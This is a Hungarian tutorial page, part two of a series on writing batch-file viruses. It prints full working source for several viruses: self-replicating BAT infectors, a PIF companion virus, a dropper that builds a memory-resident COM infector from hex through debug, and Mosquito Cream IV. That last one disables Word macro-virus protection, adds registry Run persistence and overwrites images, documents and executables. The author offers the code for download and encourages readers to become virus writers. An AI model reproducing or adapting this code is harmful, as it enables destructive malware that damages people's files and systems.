BlackCat - BATch virii készítése - 2. rész

BATch virii készítése - 2. rész Üdv mindenkinek... Eljött a második rész, itt az ideje, hogy komolyabb BAT vírusok írásába fogjunk... Előző alkalommal kiveséztük az alapokat, egy csomó DOS utasítást megnéztünk, alkalmaztuk őket, megnéztük a rekurziót, a goto-t, label-t, a képernyőreírást, a fertőzés alapvető mechanizmusait, de eddig még mindíg csak bat-okat fertőztünk. Ideje tranzies, avagy többplatformos vírusokat gyártani. Ja. De még előtte a szokásos szöveget el kéne mondani. Ezen oldal működő és pusztító vírusokat tartalmaz. Maximális óvatosságot kérek, és természetesen semmiért nem vállalok felelősséget. Mindenki a maga kontójára szórakozik. A veszélyes fájlokat "!" -el jelöltem meg. Ha lehet, csak valami haver gépén indítsd el, vagy csak akkor, ha profi vagy, és tudod mit csinálsz. Főleg majd most, hogy tranziens (többplatformos), assembler-t, bináris kódot, sőt windows registry módosító BAT-okat is tárgyalni fogunk... És úgy döntöttem, hogy ennek az egésznek lessz még egy harmadik része is, amelyben az ún. trójai BAT vírusokról, és a bat-virgen (bat-virus generáló) programokról. És akkor azt mondhatom, hogy profik lettünk, kész vagyunk. (Egyszerűen nincs több öteletem. Ha valakinek van, ossza meg velem plíz. Tőlem jöhet egy negyedik rész is. (Bár már a tököm kivan vele, már makróznék nagyon. (Visual Basic)))... Még valami. Az összes példa letölthető, meg minden. Használjátok azokat, ne pedig a HTML verziójú példányokat (kijelölés és copy-t ne, plíz!), mert érdekes eredményre juthattok. Thx. Ja. Itt van az Fprot logja, hogy melyik fájl mivel fertőzött. Talán kezdhetnénk egy rövid összefoglalóval: Először néhány nélkülözhetetlen dolog:
@ | ha a sor legelején található, megakadályozza a parncssor kiírását, még akkor is, ha az echo be van kapcsolva.
> | a kimenetet egy fileba irja a képernyő helyett.
>> | ua. mint > de itt a célfájlnak léteznie kell, mert ez a parancs hozzáfűzi a kimenetet a fájlhoz.
>nul | A képernyőkimenetet a semmibe küldi. (Nincs kiírás a képernyőre)
|program... | A kimenetet paraméterként átadja egy másik programnak.
:: | megjegyzés, ua. mint a REM utasítás. Az e mögötti dolgok nem hajtódnak végre.
if exist c:\filename goto mylabel | megvizsgálja, hogy található e fájl, ha igen, akkor a mylabel címkére ugrik
if not exist filename goto mylabel | ua. mint az előző, de ez akkor ugrik a mylabelre, ha a file nem létezik
if '%1=='Hey! goto Mylabel | Megvizsgálja, hogy az első paraméter megegyezik e a Hey! szöveggel. Ha igen ugrik a mylabelre.
set something=This | változó definiálása. A something nevű változó típusa szöveg, értéke "This"
echo %something% | változók használata. a something változó tartalmát a képernyőre írja. (Ez most a This szó!)
for %%a in (*.bat) do call %ViR% InF %%a | *.bat fájlokat keres, ha talál mindet meghívja a "Vir" változóban lévő programot az InF változóval, és paraméterként az aktuálisan megtalált BAT nevét adja át (%%a).
if '%1=='InF goto mylabel" | ua mint az előző, csak minden híváskor a Mylabel címkére ugrunk, az aktuális fájlnevet a 2. paraméterben találjuk (%2)
Majd nézzünk egy példát, melyen részletesen elmagyarázom a dolgokat: Cheezy virus letölthető ::Cheezy Batch ViR @echo off>nul.ViR - echo kikapcs if '%1=='InF goto ViR_inf - Ugrás a fertőzéshez if exist c:\vir.bat goto ViR_run - Ha a gyökérben van vir.bat, akkor már kereshetjük is az áldozatot if not exist %0.bat goto ViR_end - Ha nincs több bat ebben a könyvtárban, kilép find "ViR"<%0.bat>c:\vir.bat - A "Vir"-t keressük, az aktuális baton ha találunk, kiteszük a vir.bat-ba (kimásoljuk a virust) :ViR_run - Itt keressük az áldozatokat for %%a in (*.bat) do call c:\ViR InF %%a - A fertőzést elvégezzük az összes bat-on az alkönyvtárban goto ViR_end - kilépünk :ViR_inf - Itt fertőzünk find "ViR"<%2>nul - Megnézzük, hogy a cél már fertőzött e? if not errorlevel 1 goto ViR_end - ha már fertőzött, nézzük a következő fájlt type c:\ViR.bat>>%2 - Hozzáfűzzük a virust a talált fájlhoz :ViR_end - Ennyi A letölthető változat nem tartalmazza a megjegyzéseket -> működőképes Van még egy kis gyakorolni, és ismételnivaló. A fenti vírusnak egy kissé továbbfejlesztett változata, immár megjegyzések (kommentek) nélkül, és jóval több dolgot is tartalmaz: CraZ vírus letölthető @goto craz :hst_bat :: host batch goes here @goto CraZend :CraZ (version E) @echo off%_CraZ% if '%1=='#ViR goto CraZ%2 if not '%CraZ%==' goto hst_bat if '%0==' goto hst_bat CraZ set CraZ=%0 set CraZc=%1 %2 %3 %4 %5 %6 %7 %8 %9 call %0 #ViR hst CraZ set CraZs= set CraZi= set CraZc=%CraZ% if exist %CraZ%.bat set CraZc=%CraZ%.bat command /e:5000 /c %CraZ% #ViR vir %path% set CraZ= set CraZc= goto CraZend :CraZhst %0 #ViR hs1 %0 %CraZc% :CraZhs1 shift %_CraZ% shift %_CraZ% shift %_CraZ% goto hst_bat CraZ :CraZvir if exist %CraZc% %CraZ% #ViR ser .. . %path% shift %_CraZ% if '%2==' exit CraZ set CraZc=%2\%CraZ%.bat if not exist %CraZc% set CraZc=%2\%CraZ% if not exist %CraZc% set CraZc=%2%CraZ%.bat if not exist %CraZc% set CraZc=%2%CraZ% goto CraZvir :CraZser shift %_CraZ% if '%2==' exit CraZ for %%i in (%2\*a.bat %2*a.bat) do call %CraZ% #ViR inf %%i goto CraZser :CraZact echo [CraZ] has determined this computer to be good food. exit CraZ :CraZinf find "CraZ"<%3>nul if not errorlevel 1 goto CraZS echo @goto craz>CraZ echo :hst_bat>>CraZ type %3>>CraZ echo.>>CraZ find "CraZ"<%CraZc%>>CraZ move CraZ %3>nul set CraZi=%CraZi%1 if %CraZi%==11 exit :CraZS set CraZs=%CraZs%1 if %CraZs%==1111111111 goto CraZact :CraZend Ja. És jut eszembe. A fenti vírus harmadik átirata. :) Erről már érdemesebb lessz néhány szót is szólni, miután átrágtátok a kódot: Moral vírus letölthető @echo off%_MoRaL% if '%1=='ViR goto MoRaL%2 if '%!%=='111 goto MoRaLend if exist C:\MoRaL.bat goto MoRaLrun if not exist %0.bat goto MoRaLend echo MoRaL|find "x">nul if not errorlevel 1 goto MoRaLend find "MoRaL"<%0.bat>C:\MoRaL.bat attrib C:\MoRaL.bat +h :MoRaLrun command /e:5000 /c C:\MoRaL ViR shl set !=%!%1%_MoRaL% goto MoRaLend :MoRaLshl C:\MoRaL ViR srh . .. %path% :MoRaLsrh shift%_MoRaL% if '%2==' exit MoRaL for %%a in (%2\*.bat) do call C:\MoRaL ViR inf %%a goto MoRaLsrh :MoRaLinf find "MoRaL"<%3>nul if not errorlevel 1 goto MoRaLcnt type C:\MoRaL.bat>MoRaL.t type %3>>MoRaL.t move MoRaL.t %3>nul set MoRaLi=%MoRaLi%1 if %MoRaLi%==11 exit :MoRaLcnt set MoRaLc=%MoRaLc%1 if not %MoRaLc%==111111111111 goto MoRaLend echo.|date|find "Sun">nul.MoRaL if errorlevel 1 exit MoRaL set MoRaL=echo %MoRaL% ----------------- %MoRaL% Moral Batch Virus %MoRaL% ----------------- exit MoRaL :MoRaLend :: this would be the host Ennek a vírusnak van néhány érdekes tulajdonsága. Egy bootolás alkalmával mindössze 3-szor fut le, majd kikapcsolja magát, a fertőzések számétól függetlenül (1 DOS-session (hátha ez így többet mond, bár nem hiszem...) :) ). Minden alkalommal, mikor elindul (Max 3-szor egy session alatt) megpróbál két BAT fájlt megfertőzni, de csak akkor, ha ezt kevesebb mint 12 fertőzött fájlt talál a vizsgált könyvtárban. Képes az aktuális, és azok alkönyvtárai, valamint a Path környezeti változóban megadott elérési utakban talált BAT fájlok megfertőzésére. Ha a vizsgált könyvtárban a fertőzött fájlok száma nagyobb min 12, és szombat van, akkor megjelenít egy üzenetet. A víruskód minden esetben a célfájl elejére kerül. Egy rejtett (hidden) másolata CSAK a víruskódnak a C:\MORAL.BAT alá kerül abból a célból, hogy a MORAL üzenet MINDEN esetben indítsa el a víruskódot... Ennyi. Ugye érdekes volt? ;) És eddig tartott az ismétlés, egy kis emlékeztető. Nagyon röviden mindent átvettünk, sok példával. Mielőtt azonban komolyabban belefognánk szeretnék mutatni valami érdekeset. :) A következő BAT vírus WINDOWS PIF fájlokat fertőz, az egyetlen ilyen, nem olyan rég jutottam hozzá. Különleges csemege, és csak az eddig megtanult alapokat használja föl, semmi különleges... tehát nézzük: Azé a copyright-ot tarcsuk meg: :: Windows PIF Virus (in batch!) :: Prog by WaveFunc May 13, 1995 Ez a vírus PIF fájlokat "fertőz" kihasználva a windows azon lehetőségét, hogy DOS programokat is futat. A fő működési elve a következő: Rejtett "kamufájlokat" készít, amelyek magát a víruskódot tartalmazzák, és ezeket a fájlokat aztán megfelelteti az egyes PIF fájloknak. Pl.: msdos.pif -> msdos.bat. A PIF fájlok ezután elindítják a BAT-ot, ami ak pedig elindítják a víruskódot, majd a PIF által hivatkozott programot. A "fertőzött" pifek jelölve vannak, így nincsen dupla infekcióra mód... A fertőzött fájlok gyógyítására a PIFEDIT program használható, mely visszaállítja a fájlneveket, javítja a PIF-et, majd a rejtett fájlokat neked kell törölni... Windows PIF Vírus letölthető @echo off :: host filename... set pifvo=LIST.COM :: loop dispatcher... if '%1=='PiFV goto PiFV_%2 :: run the virus! set _PiFV= if not exist %comspec% set comspec=C:\COMMAND.COM%_PiFV% %comspec% /e:5000 /c %0 PiFV go>nul if exist PiFV! del PiFV! :: run the host set PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9 call %0 PiFV hst set PiFVo= set PiFVcl= :: check for activation... echo.|date|find /i "sat">nul.PiFV if errorlevel 1 goto PiFV_end echo.|time|find "7">nul.PiFV if errorlevel 1 goto PiFV_msg set PiFV=echo cls%_PiFV% %PiFV%. %PiFV% There once was an Otter named Oscer %PiFV% Who claimed to know how to make water. %PiFV% "No more dams," he said, "use my water instead!" %PiFV% But the Elder Otter was not impressed. pause>nul.PiFV set PiFV= goto PiFV_end :PiFV_msg echo [PiFV] by WaveFunc goto PiFV_end :PiFV_hst %PiFVo% %PiFVcl% goto PiFV_end :PiFV_go set PiFVh=%0 if not exist %PiFVh% set PiFVh=%0.bat if not exist %PiFVh% exit for %%a in (*.pif) do call %0 PiFV inf %%a exit PiFV :PiFV_inf set PiFVp=%3 :: get victim filename and infection marker :: from PIF file using debug... if exist PiFV! goto PiFV_1 echo m 124,162 524>PiFV! echo e 100 '@set fn='>>PiFV! echo m 524,562 108>>PiFV! echo n pifv$.bat>>PiFV! echo rcx>>PiFV! echo 47>>PiFV! echo w>>PiFV! echo m 55E,561 108>>PiFV! echo e 10C 0>>PiFV! echo n pifv$$.bat>>PiFV! echo rcx>>PiFV! echo 10>>PiFV! echo w>>PiFV! echo q>>PiFV! :PiFV_1 debug %PiFVp%<PiFV!>nul call PiFV$ set PiFVn=%fn% call PiFV$$ set PiFVi=%fn% del PiFV$?.bat :: pifvn=orig filename :: pifvi=infection marker :: pifvp=pif filename :: pifvh=companion bat file :: skip infected or 'empty' pifs... if '%PiFVi%=='PiFV goto PiFV_end if '%PiFVn%==' goto PiFV_end :: don't shadow command.com (be nice) echo %PiFVn%|find /i "command">nul if not errorlevel 1 goto PiFV_end :: infectable - create a companion batch... :: (the following code strips off the extension) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$ echo n pifv$.com>>PiFV$$ echo rcx>>PiFV$$ echo 2a>>PiFV$$ echo w>>PiFV$$ echo q>>PiFV$$ debug<PiFV$$>nul echo %PiFVn%|PiFV$>PiFV$$.bat call PiFV$$ set PiFVb=%fn%.bat del PiFV$?.* :: pifvb=new batch name :: do not shadow if comp has same name as host if %PiFVo%==%PiFVb% goto PiFV_end if exist %PiFVb% goto PiFV_end echo @echo off>%PiFVb% echo set pifvo=%pifvn%>>%PiFVb% find "PiFV"<%PiFVh%>>%PiFVb% attrib %PiFVb% +h :: ...and point the PIF at the companion echo e 15E 'PiFV',0>PiFV$$ echo e 124 '%PiFVb%',0>>PiFV$$ echo w>>PiFV$$ echo q>>PiFV$$ debug %PiFVp%<PiFV$$>nul del PiFV$$ :: I think we're done! exit PiFV :PiFV_end :: wonder how many bugs all this has in it? Only one :: way to find out... Igen, tudom, hogy van benne néhány "megmagyarázhatatlan" sor, azok tárgyalására most térnék rá... Szóval ezen kis kitérő után térjünk rá a lényegre. A következő egy nagyon elterjedt BAT vírus, mely nagyon sok technikát használ. Hallottatok már olyat, hogy BAT vírus rezidens legyen, sőt COM fájlokat és BAT fájlokat szintén megfertőz? Na, akkor most láttok egy ilyet. Ezen vírus az összes olyan technikát felvonultatja, amit egy tranziens vírusnak tudnia lehet, kivéve talán a windows, meg a registry buzerálását, de hát arra már csak a mai BAT vírusok képesek. (Ilyenről is lesz szó!) Ezt nézzétek: Drop vírus letölthető @echo off%_DroP% if '%1=='DroP goto DroP_%2 mem /c|find /i "DroP">nul if not errorlevel 1 goto DroP_r9 echo n $DroP$.com>DroP.t echo e 0100 EB 3F 90>>DroP.t echo e 012A 1A 90 00 00 00 00>>DroP.t echo e 0130 00 00 00 00 00 00 00 00 00 B8 40 00 FF 00 00 00>>DroP.t echo e 0140 00 B0 08 BA 2C 01 E8 3F 01 B0 08 BA 86 01 E8 50>>DroP.t echo e 0150 01 B4 2C CD 21 89 16 BE 02 C6 06 3E 01 FF B4 0F>>DroP.t echo e 0160 CD 10 3C 06 74 0D 3C 07 74 09 C7 06 38 01 00 B8>>DroP.t echo e 0170 EB 07 90 C7 06 38 01 00 B0 BA C0 02 B1 04 D3 EA>>DroP.t echo e 0180 42 B4 31 CD 21 90 9C 50 B4 02 CD 16 24 40 74 1B>>DroP.t echo e 0190 2E 80 3E 3E 01 00 74 08 2E FE 0E 3E 01 EB 0C 90>>DroP.t echo e 01A0 2E 80 3E 3D 01 00 75 03 EB 08 90 58 9D 2E FF 2E>>DroP.t echo e 01B0 2C 01 9C 2E FF 1E 2C 01 06 1E 52 51 57 56 0E 1F>>DroP.t echo e 01C0 A1 38 01 8E C0 2E 80 3E 3F 01 00 74 0C 8B 3E 30>>DroP.t echo e 01D0 01 8B 36 32 01 FB EB 5A 90 C6 06 3D 01 FF FB C6>>DroP.t echo e 01E0 06 40 01 64 80 3E 40 01 00 75 03 E9 8B 00 FE 0E>>DroP.t echo e 01F0 40 01 E8 B7 00 25 FE 0F 8B F0 26 8A 04 3C 20 74>>DroP.t echo e 0200 E3 3C 00 74 DF 81 FE A0 0F 73 D9 8B FE 81 C7 A0>>DroP.t echo e 0210 00 81 FF A0 0F 73 44 26 8A 05 3C 20 74 04 3C 00>>DroP.t echo e 0220 75 C2 89 3E 30 01 89 36 32 01 C6 06 3F 01 FF EB>>DroP.t echo e 0230 48 90 C6 06 3F 01 00 26 8A 04 26 88 05 26 C6 04>>DroP.t echo e 0240 20 8B F7 81 C7 A0 00 81 FF A0 0F 73 0E 26 8A 05>>DroP.t echo e 0250 3C 20 74 CE 3C 00 74 CA EB 05 90 26 C6 04 20 FF>>DroP.t echo e 0260 0E 3A 01 75 0A D0 2E 3C 01 C7 06 3A 01 40 00 E8>>DroP.t echo e 0270 3A 00 22 06 3C 01 A2 3E 01 5E 5F 59 5A 1F 07 58>>DroP.t echo e 0280 9D 2E C6 06 3D 01 00 CF 50 06 53 55 52 B4 35 CD>>DroP.t echo e 0290 21 8B D3 5D 89 56 00 45 45 8C 46 00 5D 5B 07 58>>DroP.t echo e 02A0 C3 50 1E 0E 1F B4 25 CD 21 1F 58 C3 A1 BE 02 50>>DroP.t echo e 02B0 80 E4 B4 58 7A 01 F9 D1 D0 A3 BE 02 C3 90 00 00>>DroP.t echo rcx>>DroP.t echo 1C0>>DroP.t echo w>>DroP.t echo q>>DroP.t debug<DroP.t>nul del DroP.t $DroP$ del $DroP$.com :DroP_r9 if exist c:\_DroP.bat goto DroP_go echo DroP|find "X">nul if not errorlevel 1 goto DroP_end if exist %0.bat goto DroP_d1 if not exist %0 goto DroP_end find "DroP"<%0>c:\_DroP.bat goto DroP_d2 :DroP_d1 find "DroP"<%0.bat>c:\_DroP.bat :DroP_d2 attrib c:\_DroP.bat +h :DroP_go command /c c:\_DroP DroP sh goto DroP_end :DroP_sh for %%a in (*.bat ..\*.bat) do call c:\_DroP DroP in %%a exit DroP :DroP_in find "DroP"<%3>nul if not errorlevel 1 goto DroP_end type c:\_DroP.bat>DroP.t type %3>>DroP.t move DroP.t %3>nul exit DroP :DroP_end :: host batch here Hát akkor vágjunk bele. Először lenne itt nény új dolog... Az első ami feltűnhet, ezek a szarok: echo n $DroP$.com>DroP.t echo e 0100 EB 3F 90>>DroP.t echo e 012A 1A 90 00 00 00 00>>DroP.t echo e 0130 00 00 00 00 00 00 00 00 00 B8 40 00 FF 00 00 00>>DroP.t Ezek a sorok nem más, mint hexadecimálisan (16-os számok formájában) felírt bináris kód. Az echo ezt elvileg a képernyőre írná ki, de a > illetve >> parancsok miatt a Drop.t fájlba írják. A drop.t fájl pedig nem más mint egy debug script. A DOS-ban lévő debugger ezen kódot bináris kóddá alakítja. De nézzünk utána, mi is ez a debug nevű progi. Egy help kérése után a következő jelenik meg: Futtatja Debug, tesztelő és szerkesztő és nyomkövető programot. DEBUG [[drive:][path]filename [testfile-parameters]] [drive:][path]filename - A tesztelni kívánt fájl elérési útja és neve testfile-parameters - Olyan paraméterek, melyek szükségesek a tesztelés elvégzéséhez Hát ez nem sok info. Ha csak simán elndítjuk a debug.exe-t, akkor egy debug konzolt kapunk, hova gépi kódban írhatunk programot (marha hasznos dolog... :) ). De ami ennél is fontosabb, egy ? begépelése után előjönnek a debugger parancsai: (Ezeket nem fordítanám le, mert teljesen egyértelműek. Amik most nekünk kellenének azok úgyis csak az e, ill. az n parancsok. N=a bináris fájl neve, amit készíteni akarunk, E=új sor, ami hexa adatot tartalmaz): assemble A [address] compare C range address dump D [range] enter E address [list] fill F range list go G [=address] [addresses] hex H value1 value2 input I port load L [address] [drive] [firstsector] [number] move M range address name N [pathname] [arglist] output O port byte proceed P [=address] [number] quit Q register R [register] search S range list trace T [=address] [value] unassemble U [range] write W [address] [drive] [firstsector] [number] allocate expanded memory XA [#pages] deallocate expanded memory XD [handle] map expanded memory pages XM [Lpage] [Ppage] [handle] display expanded memory status XS Máris kész vagyunk értelmezni az első sort. Nos az első sor létrehozza a Drop.t nevű fájlt, annak első sorába pedig beírja az n $drop$.com Ezen sor a debug parancssori értelmező számára azt jelenti, hogy hozza létre a $drop$.com nevű fájlt. Azt hiszem érdemes lenne megnéznetek a következő un. DEBUG scriptet, ami nem más mint a $drop$.t, amibol a debug.exe a com fájlt elkészíti. Érdemes megnézni. ITT van. Ha még mindíg nem tiszta, a fent vírusból készítettem egy kivonatot, ami elkészíti a drop.t fájlt, abból pedig a drop.com-ot. NEM FERTŐZ, csak a debug használatát mutatja be. Érdemes megnézni/elindítni! ITT található! Ja. Oszt a drop memóriarezidens kódját meg megtaláljátok egy külön fájlban, RAR-al csomagolva, ITT. No. Most már kezd világosodni? Nem? Nézzük a második sort: echo e 0100 EB 3F 90>>DroP.t Ugye emléxünk? A Drop.t fájlhoz hozáfűzzük ezt a sort, e 0100 EB 3F 90 ,ami megmondja a debuggernek, hogy (E=Enter - Nézd a debugnak a parancs-helpjét) ezen sort már fordítsa bináris kóddá. Egyébként a fent látható sor egy COM fájl header-je, azaz fejléce... És ugyanígy a többi sor. Az utolsó néhány sor azonban megint érdekesen alakul: echo rcx>>DroP.t Az RCX, pedig ha figyelmesen elolvastuk a helpet, nem más mint a CX regiszter kiírása. (R=Register - lásd:parancsok, CX-regiszter (assembler)). echo 1C0>>DroP.t ez a sor számunkra érdektelen, csak nem akartam kihagyni, nehogy megkavarjon valakit. echo w>>DroP.t Mit is jelent a w? (W=write) Vagyis az eddig, a debug scriptben megadott (E betuvel kezdodo sorokat) ne csak leforditsa, hanem irja is ki com fájlba. (Az, hogy a fájl com, meghatároztuk a header-nél, de a kiterjesztése lehetne éppen exe is. (az ugye mindegy, csak fordítva nem megy.)) Következő sor: echo q>>DroP.t Ez pedig utasítja a debugger-t, hogy lépjen ki. Mégegyszer mondom, még nem a bináris kódot készítjük, még csak a debug scriptet, melyben elmondjuk a debug.exe-nek, hogy hogyan készítse a com fájlt. És a következő sor már nem fűződik hozzá a debug script fájlhoz, mert ez már maga a debug progi: debug<DroP.t>nul Elindítjuk, bemeneti fájlnak az elkészült scriptet adjuk meg, a kimenetét elrejtjük (nincs kimenet). Az előbbi elindítható példában a debug üzenetei megjelennek, hátha úgy jobban látjátok, mit is csinál. Végül is mondhatjuk, hogy egy kezdetleges compiler-ről (fordítóprogramról) van szó. Ezen debug progi pedig elkészíti a $drop$.com-ot. (Ezt onnan tudja, hogy a drop.t-ben az első sorban elmondtuk neki...) Namost visszatérve kicsit a debug alkalmazásához: Minden sorban az "e" betűt követő szám (mondjuk 0100) egy 16-os szr.-ben leírt szám, egy cím. A com-ban elfoglalt cím, ugye mindíg 100-al kezdődik. Ezután jönnek a tényleges adatok, 16 db hexa szám soronként. Egy hexa címet ugye 16 adatnak kell követnie, és soronként a címnek növekednie kell 16-al, vagy többel. (0110 nagyobb mint 0100, mert 16*os számrendszerben vagyunk.) Na most ezen elég nagy kitérő után, nézzük tovább a vírusunkat, amely most, hogy sikeresen létrehozott egy com-ot, (ami egyébként nem más, mint egy memóriarezidens vírus, sőt, a vírus bat része ennek jelenlétét ellenőrzi a memóriában, és ha megtalálja, akkor nem hozza létre a debug scriptet, és a com fájlt.) Hogy hogyan is ellenőrzi, hogy fent van e a memóriában? És itt jön ki a szépsége az egésznek: mem /c|find /i "DroP">nul A 3. sorban hív egy mem parancsot (aminek a kezelését már előzőleg megtanultuk, csak úgy mint a find parancsét) így elég, ha csak annyit mondok, hogy a mem kimenetében keres a DroP szócska után, ami, ha a TSR Com fájl el lett indítva ott lesz, különben nem. Ha sikeresen telepítette a memóriarezidens részt, és szükség volt a drop.t létrehozására, azt törli, majd belekezd a már ismerős munkába. Az összes, ez után következő sor szerintem nem szorul magyarázatra, maximum egy kis összefoglalásra. A vírus kódja a talált bat kódja elé illeszkedik, tehát nem keverednek a vírusnak a sorai és a cél sorai (volt már rá példa)... Egy indítás alkalmával egy fájlt fertőz meg az éppen aktuális, vagy felsőbb könyvtárban (parent dir). Ja, a rezidens rész egyébként egy rendkívül primitív com fájl fertőző, amely batok visszafertőzésére már nem képes (half-tranziens) vagyis fél-tranziens vírusnak szokás a drop-ot és variánsait nevezni... A rezidens résznek továbbá van az a kellemetlen tulajdonsága, hogy ha a CAPS LOCK be van kapcsolva, a progi nevéhez híven minden leütött billentyűt "eldob"(=drop), vagyis ha a vírus aktív, és a CAPS LOCK be van kapcsolva, nem lehet gépelni... És akkor nagyjából befejeztük a bináris kód készítését bat-ból. Ha írtok mondjuk egy COM progit (érdemes assemblert használni, különben qrva nagy lesz a bat), akkor azt pl a HVIEW-al, vagy a DOSNAVIGATOR nézőkéjével is át tudjátok alakítani hexadecimális számok sorozatává, majd a sorok elé már csak egy E betű kell, és késsz... No. Mivel még csak 01:30 van, így úgy döntöttem, a registry matatása is ebbe a számba bekerül. Szóval akkor lássunk valami iagzán profi dolgot. (Abból lesz jó vírusíró, akinek a következő forrás láttán nem a rémülettől, hanem a gyönyörtől borsódzik a háta): MOSQUITO CREAM IV vírus letölthető! @cls @echo off :: MOžQUITO CREAM IV By StRaMoNiUm @break off ECHO REGEDIT4>%windir%\BZz.reg ECHO.>>%windir%\BZz.reg ECHO [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]>>%windir%\BZz.reg ECHO "RegisteredOwner"="MOžQUITO CREAM IV">>%windir%\BZz.reg ECHO "RegisteredOrganization"="By StRaMoNiUmę">>%windir%\BZz.reg ECHO [HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options]>>%windir%\BZz.reg ECHO "EnableMacroVirusProtection"="0">>%windir%\BZz.reg @REGEDIT /S /C %windir%\BZz.reg @attrib %windir%\*.* -h -r -s @attrib %windir%\Desktop\*.* -h -r -s @attrib %windir%\web\*.* -h -r -s @attrib C:\Docume~1\*.* -h -r -s for %%i in (%windir%\*.bmp,*.gif,*.jpg,*.bat) do copy %0 %%i>nul for %%i in (%windir%\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (%windir%\Desktop\*.bmp,*.gif,*.jpg,*.bat,*.exe) do copy %0 %%i>nul for %%i in (%windir%\Desktop\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (%windir%\WEB\*.bmp,*.gif,*.jpg,*.bat) do copy %0 %%i>nul for %%i in (%windir%\WEB\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (C:\Docume~1\*.bmp,*.gif,*.jpg,*.bat,*.exe) do copy %0 %%i>nul for %%i in (C:\Docume~1\*.gif,*.jpg) do ren %%i *.bmp>nul for %%i in (C:\Mydocu~1\*.bmp,*.gif,*.jpg,*.bat,*.exe) do copy %0 %%i>nul for %%i in (C:\Mydocu~1\*.gif,*.jpg) do ren %%i *.bmp>nul echo >x echo. >>x echo \\ >>x echo OooO@- >>x echo // >>x echo. >>x echo # ITALIAN PRODUCTION 1999 # By StRaMoNiUm>>x @move x %tmp%\x @if exist *.zip goto :BZzip @if not exist *.zip goto :BZskip :BuZZ @move Bz.Z %tmp%\Setup.exe>nul @copy %0 %tmp%\Setup.BMP>nul @if exist Pkzip.exe goto :Bzext @if not exist Pkzip.exe goto :BzrZ :Bzext for %%i in (*.zip ../*.zip) DO pkzip -e0 -u -r -k %%i %tmp%\Setup.exe>nul for %%i in (*.zip ../*.zip) DO pkzip -e0 -u -r -k %%i %tmp%\Setup.BMP>nul goto :BZskip :BzrZ for %%i in (*.zip ..\*.zip) do start /m winzip32 -a /%%i "%tmp%\Setup.exe" "%tmp%\Setup.BMP">nul goto :BZskip :BZskip for %%i in (*.bmp,*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf,*.bat ..\*.bat,*.bmp) do copy %0 %%i>nul for %%i in (*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf) do ren %%i *.bmp>nul for %%i in (s*.exe,a*.exe,b*.exe,o*.exe,i*.exe,_*.exe) do copy %0 %%i>nul for %%i in (*.txt,*.doc,*.rtf ..\*.txt,*.doc,*.rtf) do copy %tmp%\x %%i>nul cd.. @attrib *.* -h -r -s for %%i in (*.bmp,*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf,*.bat ..\*.bat,*.bmp) do copy %0 %%i>nul for %%i in (*.jpg,*.gif,*.tga,*.psd,*.tif,*.wmf) do ren %%i *.bmp>nul for %%i in (s*.exe,a*.exe,b*.exe,o*.exe,i*.exe,_*.exe) do copy %0 %%i>nul for %%i in (*.txt,*.doc,*.rtf ..\*.txt,*.doc,*.rtf) do copy %%i+%tmp%\x %%i>nul @if exist *.zip goto :BZzip @if not exist *.zip goto :BZskip2 :BZskip2 @REGEDIT /E %windir%\BZs.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run choice /c:abcdefghilmnop@q#rstuvw!\'?%xyjkz.;,-_1234567890 /N /T:A,2>nul ECHO "0A StRaMoNiUm"="c:\\command /C ren C:\\Mosquito.bmp Mosquito.bat|CLS">>%windir%\BZs.reg ECHO "1A Dark_Elf"="start /m C:\\Mosquito.bat">>%windir%\BZs.reg echo. echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj>nul echo. echo ciyjouigydujujhgfkjbkjhgdkjhgjhjugkjghkdjhykugrhtiug>nul choice /c:abcdefghilmnop@q#rstuvw!\'?%xyjkz.;,-_1234567890 /N /T:A,1>nul echo. @regedit /S /C %windir%\BZs.reg @cls @type %tmp%\x for %%i in (%tmp%\*.*) do DEL %%i>nul @copy %0 c:\MOSQUITO.BMP>nul @copy %0 %windir%\DVC.EXE>nul ECHO @Echo off>%windir%\WIN.BAT ECHO @if exist c:\Mosquito.bat goto :BZ>>%windir%\WIN.BAT ECHO @if not exist c:\Mosquito.bat goto :BZXT ECHO :BZXT>>%windir%\WIN.BAT ECHO @ren DVC.EXE BZz.bat>>%windir%\WIN.BAT ECHO @copy BZz.bat DVC.EXE>>%windir%\WIN.BAT ECHO @start /m BZz.bat>>%windir%\WIN.BAT ECHO :BZ>>%windir%\WIN.BAT ECHO CLS>>%windir%\WIN.BAT ren %0 Mosquito.BMP|cls exit :BZzip ECHO n BZ.Z>%tmp%\bzz.z ECHO e 100 4D 5A E2 01 02 00 00 00 02 00 C3 0F FF FF F0 FF>>%tmp%\bzz.z ECHO e 110 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00>>%tmp%\bzz.z ECHO e 120 FC BD 20 01 8B 6E 00 8B A6 02 00 8B 9E 04 00 B4>>%tmp%\bzz.z ECHO e 130 4A CD 21 A1 2C 00 89 86 1A 00 8B 9E 00 00 FF E3>>%tmp%\bzz.z ECHO e 140 40 04 C7 86 10 00 FF FF 8B D6 33 C9 B8 02 3C 0B>>%tmp%\bzz.z ECHO e 150 FF 74 02 FE C4 CD 21 72 29 8B D8 0B FF 74 0B B8>>%tmp%\bzz.z ECHO e 160 02 42 33 D2 8B CA CD 21 72 18 89 9E 12 00 53 B4>>%tmp%\bzz.z ECHO e 170 45 BB 01 00 CD 21 89 86 10 00 B9 01 00 5B B4 46>>%tmp%\bzz.z ECHO e 180 CD 21 C3 84 01 FE 01 53 E8 00 00 5B 8B FE 4F 1E>>%tmp%\bzz.z ECHO e 190 8A 86 1E 00 50 FF 57 FA 2E FF 57 F8 58 88 86 1E>>%tmp%\bzz.z ECHO e 1A0 00 1F 5B C3 